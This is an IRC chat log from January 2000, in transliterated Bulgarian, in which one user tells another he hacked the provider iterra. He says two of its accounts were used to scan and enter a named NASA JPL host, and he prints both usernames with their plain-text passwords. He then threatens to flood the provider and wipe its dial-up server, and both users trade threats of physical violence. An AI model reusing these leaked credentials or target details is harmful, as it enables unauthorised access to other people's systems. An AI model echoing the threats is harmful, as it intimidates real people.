. . . . . . . . . .. . ... . ...............
"parwo floodq prowidera sled towa go triq" Anonymous
........... . . . . . . . . . . . . . .
Session Start: Wed Jan 05 13:21:29 2000
Session Ident: MOONSPELL (~darkstar@193.193.163.224)
otkade si?
imash li wrazka s iterra ent?
imam
:)
ot sofia
sum
ti admina li si ?
ne
shto ?
poznat sum na shefa
kaji na shefa da spre accta s user martinku i dashinov
shtoto prez tqh se skanira i wliza w NASA
kak se vliza v nasa be ? :)
pcnnfs
ili tva nasa e nekaw ruter/server?
codonicprint.jpl.nasa.gov
towa e probito s acc na iterra
nima
ti v NASA li si ?
prowidera ti shte ima nepriqtnosti, ako ot NASAta nadushat otkade
se e wlizalo
kosmonavt li si kwo ? :))
ne, prosto i az q hakwam
i otkade znaesh che e taka ?
axa
i shto mislish che prez tia accounti na iterra e hackvan servera?
shtoto, az minawah ottam
imal si accountite li ?
haknah wi prowidera, i samo tezi useri imaha lesna parola za
johna
dashinov:irin@
martinku:bemyheroine
e i ?
moje drug user da e bil
az samo ti kazwam, smeni passowete, ili shte iztriq celia wi
dial-up servera za da se usetite
o pochnaxme i da zaplashvame :-)))
shto si tolkoz zle nastroen kam iterra?
chao, aide az otiwam da si administriram serwera w netbg
by the way ti ot koi grad si ? poznawash li edin raicho ot pleven?
ok
shtom te vleche
:)
shtoto e lame prowider
aha
kaji we?
kwo da ti kaja
s linux sam
kat si s linux da ne si 100 kila
ma ti mai iskash flood po iterra, taka li da go razbiram? :)))
filtara w Orbitel nqma da ti pomogne mnogo :)
samo 1 iskam da ti kaja:
ima 2 vida hackeri
1viat
sa svesnite hackeri
te si hackvat
uchat nowi nesta
i tn
i obsto vzeto ne prawiat problemi
daje takiwa xopa dvijat progresa
i 2ria vid hackeri
sa drishliovci
koito
sa pulni komplexari i limoni v jivota
demek neudachnici
i izbivat komplexi i kwo li ne
zakanwat sre
se
zaplashwat
i tn
sam preceni ot koi vid si
znam che sam wtorite:)))
parwo floodq prowidera sled towa go triq
i sled tfa hodi se orpawqi
sled tva she ti byde schupena glawata
dokat ti doide akula
nqma kak da me fanat :)))
koito se e pomislil za velik se e sburkal
vinagi ima kak
za vsichko
mi nameri me i ti shte izqdesh boya, shtoto se ima koi da me
zashtiti
hehehe
:-))))
naistina w kv. Witosha ima malko hora, ama pone poznawam malko
mutri i im znam mobilkite
ochilarko
s mutri li trugna da me plashish be
haha
ti kuv muj si be?
spored mene tebe nesto seriozno ti ima v glawata
hardueren bug
:)))))
aide ciao che i az imam raboti za vurshene
Session Close: Wed Jan 05 14:08:29 2000
EOF